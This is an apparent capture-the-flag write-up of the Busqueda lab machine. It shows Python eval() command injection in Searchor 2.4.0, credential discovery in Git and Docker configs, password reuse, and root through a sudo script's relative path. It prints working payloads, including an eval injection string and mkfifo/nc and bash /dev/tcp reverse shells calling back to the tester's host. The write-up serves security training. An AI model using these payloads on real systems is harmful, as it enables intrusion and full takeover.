Overview

Busqueda is an easy Linux machine that demonstrates how unsafe use of Python eval() in a web application can lead to command injection, followed by credential discovery in a Git configuration, Gitea enumeration, Docker configuration leakage, and root access through a sudo script that uses a relative path.

Attack Chain

  • Enumerate open services and identify SSH and HTTP
  • Discover the searcher.htb virtual host
  • Identify the web application as Flask using Searchor 2.4.0
  • Exploit unsafe Python eval() handling for command injection
  • Use a reverse shell payload to gain access as svc
  • Recover Gitea credentials from /var/www/app/.git/config
  • Reuse the password over SSH as svc
  • Enumerate sudo permissions and identify system-checkup.py
  • Use the sudo script to inspect Docker container configuration
  • Recover the Gitea Administrator password from the container config
  • Review the script source in Gitea and identify a relative path issue
  • Create a malicious full-checkup.sh and execute it through sudo to gain root

Enumeration

Port Scanning

We start by defining the target and running a full TCP port scan to identify the exposed services.

export IP=10.129.10.36; export NAME=BUSQUEDA; echo $IP; echo $NAME; ping $IP -c 1

nmap --min-rate 4500 --max-rtt-timeout 1500ms $IP -p- -v -oA scans/nmap_allports_$NAME

ports=$(cat scans/nmap_allports_$NAME.nmap | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//); echo $ports

The open TCP ports are:

22,80

We then run a service and version scan against the discovered ports.

nmap $IP -p$ports -A -oA scans/nmap_initial_$NAME -v

nmap results

Findings

The scan shows a small attack surface with SSH (22) and HTTP (80) exposed. The web service redirects to searcher.htb, so we add the hostname to /etc/hosts before continuing.

echo "$IP searcher.htb" | sudo tee -a /etc/hosts

Web Enumeration

Browsing to searcher.htb reveals a search application that lets users submit queries across multiple engines and platforms.

search application

At the bottom of the page, the application identifies itself as a Flask application powered by Searchor 2.4.0.

searchor version

This version of Searchor is vulnerable to command injection due to unsafe handling of user input inside an eval() call. The vulnerable pattern places the query inside a Python expression, which means a crafted payload can break out of the string and execute code.

searchor eval vulnerability

The basic idea is to close the current string with '), append our own Python expression, and then use # to comment out the rest of the original line. Conceptually, the expression becomes:

search('') our command here #

The public exploit examples suggest using Python functions such as:

__import__('os').system('<CMD>')

or:

__import__('os').popen('<CMD>').read()

Because the rest of the eval() expression expects a string-like result, we concatenate the command result with str(). A simple test payload for command execution is:

') + str(__import__('os').system('id')) #

Submitting the payload through the search form confirms that we can inject Python code into the backend expression.

payload test

The response confirms command injection.

command injection confirmed


Foothold

Reverse Shell Payload

With command injection confirmed, we move the request into Burp Suite so the payload can be modified and tested more quickly.

First, we check whether nc is available on the target by running which nc. The response shows that Netcat exists at /usr/bin/nc.

netcat path

Since Netcat is available, we use an mkfifo reverse shell payload.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.14.11 443 >/tmp/f

A penelope listener is started on port 443, and the reverse shell payload is sent through the vulnerable request in Burp Suite.

burp reverse shell request

This returns a shell as the svc user.

svc shell

The user flag can now be read.

cat /home/svc/user.txt

user flag


Privilege Escalation

Git Configuration Disclosure

While enumerating the web application directory, we find credentials inside /var/www/app/.git/config. The same file also reveals another virtual host, gitea.searcher.htb.

git config credentials

The discovered Gitea credentials are:

cody:jh1usoih2bkjaspwe92

The virtual host is added to /etc/hosts.

echo "$IP gitea.searcher.htb" | sudo tee -a /etc/hosts

Password Reuse

The only local user we have seen so far is svc, so we test whether the discovered password has been reused for SSH access.

hydra -l svc -p jh1usoih2bkjaspwe92 $IP ssh

The login succeeds, confirming password reuse.

hydra password reuse

The SSH credentials are:

svc:jh1usoih2bkjaspwe92

Next, we use the original cody credentials to sign in to gitea.searcher.htb.

gitea login

The account only shows cody’s involvement in the repository, so we return to the SSH session for more local enumeration.

Sudo Permissions

Running sudo -l shows that svc can execute /usr/bin/python3 /opt/scripts/system-checkup.py * with elevated privileges.

sudo permissions

We run the allowed command with a wildcard to inspect the available options.

sudo /usr/bin/python3 /opt/scripts/system-checkup.py *

The script exposes three options.

system checkup options

Docker Enumeration

We start with the docker-ps option.

sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps

This shows two running containers: gitea and mysql.

docker ps

The next option is docker-inspect.

sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect

The script expects a format argument and a container_name argument. The Docker documentation shows how to supply a format string for inspecting container configuration.

docker inspect documentation

Using the correct format string and the container ID, we inspect the Gitea container configuration.

sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect --format='{{json .Config}}' 960873171e2e

The command returns the container configuration in JSON format.

docker inspect config

The output is copied back to the attacking machine and formatted with jq.

cat gitea_docker_config.json | jq

Inside the configuration, we find another hardcoded password.

docker config password

The recovered Gitea Administrator password is:

yuiu1hoiu4i5ho1uh

Gitea Administrator Access

Using the new password, we authenticate to Gitea as Administrator.

gitea administrator login

Inside the repository, we navigate to the /scripts folder and find the system-checkup.py script that svc can run with sudo privileges.

system checkup script

Relative Path Abuse

Back on the target, we test the full-checkup option.

sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup

The script returns an error.

full checkup error

Reviewing the source code in Gitea explains the issue. The script attempts to execute ./full-checkup.sh using a relative path. Because that file does not exist in the current working directory, the command fails.

relative path in script

This creates a privilege escalation path. If we create our own full-checkup.sh in the current directory and run the sudo command again, the script should execute our file as root.

The malicious script contains a simple Bash reverse shell.

#!/bin/bash
bash -i >& /dev/tcp/10.10.14.11/443 0>&1

The file is made executable.

malicious full-checkup script

With a penelope listener running on port 443, we execute the allowed sudo command again.

sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup

execute full checkup

This returns a shell as root.

root shell

The root flag can now be read.

cat /root/root.txt

root flag


Key Takeaways

Busqueda shows how dangerous unsafe eval() usage can be when user input is inserted into Python expressions. The initial web command injection provided access as svc, but the full compromise came from a chain of operational mistakes: credentials stored in Git configuration, password reuse, secrets exposed through Docker configuration, and a sudo script that executed a relative path as root.